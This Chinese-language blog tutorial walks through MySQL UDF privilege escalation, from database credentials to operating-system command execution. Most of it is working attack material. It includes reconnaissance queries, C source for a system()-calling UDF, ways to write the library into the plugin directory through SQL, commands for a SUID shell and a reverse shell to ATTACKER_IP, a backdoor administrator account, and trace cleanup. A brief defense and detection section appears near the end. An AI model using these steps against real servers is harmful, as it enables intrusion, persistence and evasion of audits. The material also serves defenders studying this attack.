2026-09-26
top10漏洞常见基础讲解
00
请注意,本文编写于 49 天前,最后修改于 49 天前,其中某些信息可能已经过时。

目录

一、什么是 UDF 提权
二、目的
三、实施前提
四、核心利用链
五、详细利用步骤
1. 信息收集
2. 获取 UDF 库文件
方法 1:从 sqlmap 获取并解码
方法 2:从 Metasploit 获取
方法 3:手动编译
3. 将库文件写入插件目录
场景 A:已经有 WebShell 或 SSH
场景 B:只有 MySQL 权限,通过 SQL 写文件
场景 C:文件已经在服务器上,但不在插件目录
4. 注册自定义函数
5. 调用函数执行命令
6. 清理痕迹
六、Windows 与 Linux 差异
七、防御与检测
八、速查表

UDF 提权的核心利用详细步骤


一、什么是 UDF 提权

UDF(User-Defined Function,用户自定义函数)是 MySQL 的扩展机制。用户可以通过动态链接库文件,为 MySQL 添加自定义函数。

  • Windows:.dll
  • Linux:.so

UDF 提权的核心逻辑:

  1. MySQL 服务通常以较高权限运行。
    • Windows 常见:SYSTEM
    • Linux 常见:root 或 mysql
  2. 攻击者把恶意 UDF 库文件写入 MySQL 插件目录 plugin_dir。
  3. 通过 CREATE FUNCTION ... SONAME 注册函数。
  4. 调用函数时,系统命令继承 MySQL 服务进程权限执行。

所以,UDF 提权不是提升数据库权限,而是 从数据库权限突破到操作系统权限。


二、目的

主要目的:获得服务器系统命令执行能力。

常见后续利用:

  • 创建管理员账户
  • 反弹 Shell
  • 写入后门
  • 读取敏感文件
  • 横向移动
  • 权限维持

典型场景:

  • 通过 Web 漏洞拿到低权限 WebShell
  • 通过信息泄露拿到 MySQL 账号密码
  • 当前权限不足以控制服务器,但 MySQL 以高权限运行

三、实施前提

UDF 提权需要同时满足以下条件:

条件说明
高权限数据库账户需要 FILE 和 CREATE ROUTINE 权限,通常用 root
secure_file_priv 为空为空字符串 '' 才能通过 SQL 写入任意路径
plugin_dir 可写UDF 文件必须放入插件目录
版本架构匹配.so / .dll 必须与目标 MySQL 位数、系统匹配
文件类型正确Linux 用 .so,Windows 用 .dll

四、核心利用链

信息收集 → 准备 UDF 库文件 → 写入插件目录 → 注册函数 → 调用执行命令 → 清理痕迹


五、详细利用步骤

1. 信息收集

进入 MySQL 后,先确认环境。

sql
-- 当前用户和权限 SELECT USER(), CURRENT_USER(); SHOW GRANTS FOR CURRENT_USER(); -- 文件导出权限,关键 SHOW VARIABLES LIKE 'secure_file_priv'; -- 插件目录 SELECT @@plugin_dir; -- 版本、架构、系统 SELECT @@version; SELECT @@version_compile_machine; SELECT @@version_compile_os;

判断 secure_file_priv:

值含义
NULL禁止文件导出,基本只能靠 WebShell 上传
''允许写入任意绝对路径,最理想
/var/lib/mysql-files/只允许写入该目录,通常到不了 plugin_dir

常见 plugin_dir:

  • Linux:/usr/lib/mysql/plugin/、/usr/lib64/mysql/plugin/
  • Windows:C:\Program Files\MySQL\MySQL Server X.X\lib\plugin\

MySQL 版本与写入目录:

MySQL 版本目标目录
< 5.0导出路径较随意
5.0 ≤ 版本 < 5.1Windows:C:\Windows\ 或 C:\Windows\System32\
≥ 5.1plugin_dir

2. 获取 UDF 库文件

方法 1:从 sqlmap 获取并解码

sqlmap 自带 UDF 文件,但经过编码,需要 cloak.py 解码。

bash
# 查找文件 find / -name 'lib_mysqludf_sys*' 2>/dev/null # Linux 64 位示例 python3 /usr/share/sqlmap/extra/cloak/cloak.py \ -d \ -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ \ -o /tmp/lib_mysqludf_sys.so

Windows 版本在:

text
/usr/share/sqlmap/data/udf/mysql/windows/64/

解码后得到 .dll。

方法 2:从 Metasploit 获取

Metasploit 自带文件通常不需要解码,直接复制。

bash
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys.so /tmp/

方法 3:手动编译

如果需要特定架构或自定义功能,可以自己编译。

最简 sys_exec 示例:

c
#include <mysql/mysql.h> #include <stdlib.h> extern "C" { my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { return 0; } void sys_exec_deinit(UDF_INIT *initid) {} long long sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { if (args->args[0]) { system(args->args[0]); } return 0; } }

编译 Linux 64 位:

bash
g++ -Wall -I/usr/include/mysql -fPIC -shared -o sys_exec.so sys_exec.cpp

32 位需要加 -m32,并安装 multilib 支持。


3. 将库文件写入插件目录

场景 A:已经有 WebShell 或 SSH

最简单,直接上传。

bash
scp /tmp/lib_mysqludf_sys.so user@target:/usr/lib/mysql/plugin/

Windows 直接传到:

text
C:\Program Files\MySQL\MySQL Server X.X\lib\plugin\

场景 B:只有 MySQL 权限,通过 SQL 写文件

先把 .so 或 .dll 转成十六进制。

bash
xxd -p /tmp/lib_mysqludf_sys.so | tr -d '\n' > /tmp/udf.hex

然后构造 SQL:

sql
SELECT 0x<十六进制内容> INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';

Windows 示例:

sql
SELECT 0x<十六进制内容> INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.7\\lib\\plugin\\lib_mysqludf_sys.dll';

关键注意:

  • 必须用 INTO DUMPFILE。
  • 不能用 INTO OUTFILE,因为它会转义特殊字符并添加换行,破坏二进制文件。
  • 如果文件已存在,DUMPFILE 会报错,需要换文件名或先删除。
  • 十六进制太长时,可以分块写入临时表。

分块写入示例:

sql
CREATE TABLE mysql.udf_tmp (line BLOB); INSERT INTO mysql.udf_tmp VALUES (0x<第一段>); INSERT INTO mysql.udf_tmp VALUES (0x<第二段>); INSERT INTO mysql.udf_tmp VALUES (0x<第三段>); -- 重复插入所有分段 SELECT line FROM mysql.udf_tmp INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'; DROP TABLE mysql.udf_tmp;

如果单行内容仍然过长,可以调整 group_concat_max_len 或用脚本分块导出。

场景 C:文件已经在服务器上,但不在插件目录

sql
CREATE TABLE mysql.udf (line BLOB); INSERT INTO mysql.udf VALUES (LOAD_FILE('/tmp/lib_mysqludf_sys.so')); SELECT * FROM mysql.udf INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';

4. 注册自定义函数

Linux:

sql
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';

Windows:

sql
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.dll'; CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll';

区别:

函数作用
sys_exec()执行命令,返回退出码,不回显输出
sys_eval()执行命令,返回命令输出,适合看结果

常见错误处理:

  • Function already exists:
sql
DROP FUNCTION sys_exec; DROP FUNCTION sys_eval;
  • Can't open shared library:
    • 检查路径是否为 plugin_dir
    • 检查文件权限
    • 检查 32/64 位是否匹配
    • Linux 可用 ldd 检查依赖库

5. 调用函数执行命令

sql
-- 查看当前 MySQL 以什么权限运行 SELECT sys_eval('whoami'); SELECT sys_eval('id'); -- 无回显版本 SELECT sys_exec('id');

如果返回 root 或 SYSTEM,说明提权成功。

Linux 常见后续:

sql
SELECT sys_exec('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

然后在服务器上执行:

bash
/tmp/rootbash -p

反弹 Shell:

sql
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');

Windows 常见后续:

sql
SELECT sys_eval('whoami'); SELECT sys_exec('net user hacker pass123 /add'); SELECT sys_exec('net localgroup administrators hacker /add');

6. 清理痕迹

sql
DROP FUNCTION sys_exec; DROP FUNCTION sys_eval; DROP TABLE mysql.udf_tmp;

删除插件目录中的库文件:

sql
SELECT sys_exec('rm -f /usr/lib/mysql/plugin/lib_mysqludf_sys.so');

Windows:

sql
SELECT sys_exec('del "C:\\Program Files\\MySQL\\MySQL Server 5.7\\lib\\plugin\\lib_mysqludf_sys.dll"');

六、Windows 与 Linux 差异

项目WindowsLinux
文件类型.dll.so
插件目录MySQL安装目录\lib\plugin\/usr/lib/mysql/plugin/ 等
运行权限常见 SYSTEM常见 root 或 mysql
旧版本路径C:\Windows\System32\ 等随发行版不同
注册 SONAMElib_mysqludf_sys.dlllib_mysqludf_sys.so

七、防御与检测

防御核心:打破利用链任意一环。

  1. 收紧账户权限

    • 禁止 root 从 % 远程连接
    • 业务账户不授予 FILE、CREATE ROUTINE
    • 遵循最小权限原则
  2. 正确配置 secure_file_priv

    • 设置为具体专用目录,不要留空
    • 例如:secure_file_priv=/var/lib/mysql-files/
    • 注意:它不约束 plugin_dir,不能只靠这一项
  3. 限制插件目录写权限

    • MySQL 运行账户对 plugin_dir 只读
    • 目录属主设为 root,权限 755
  4. 监控与审计

    • 检查 plugin_dir 是否出现异常 .so / .dll
    • 审查 mysql.func 表:
sql
SELECT * FROM mysql.func;
  • 关注 sys_exec、sys_eval、do_system 等函数
  • 使用 tripwire、inotify、auditd 监控插件目录
  • 审计 CREATE FUNCTION ... SONAME 语句

八、速查表

阶段关键操作
信息收集SHOW VARIABLES LIKE 'secure_file_priv'; SELECT @@plugin_dir; SELECT @@version;
获取库文件sqlmap 解码、Metasploit 复制、手动编译
写入插件目录WebShell 上传或 SELECT 0x... INTO DUMPFILE '...'
注册函数CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
执行命令SELECT sys_eval('whoami'); SELECT sys_exec('id');
成功标志whoami 返回 root 或 SYSTEM
清理DROP FUNCTION、删除库文件、删除临时表
防御核心最小权限、secure_file_priv 具体化、插件目录只读、监控审计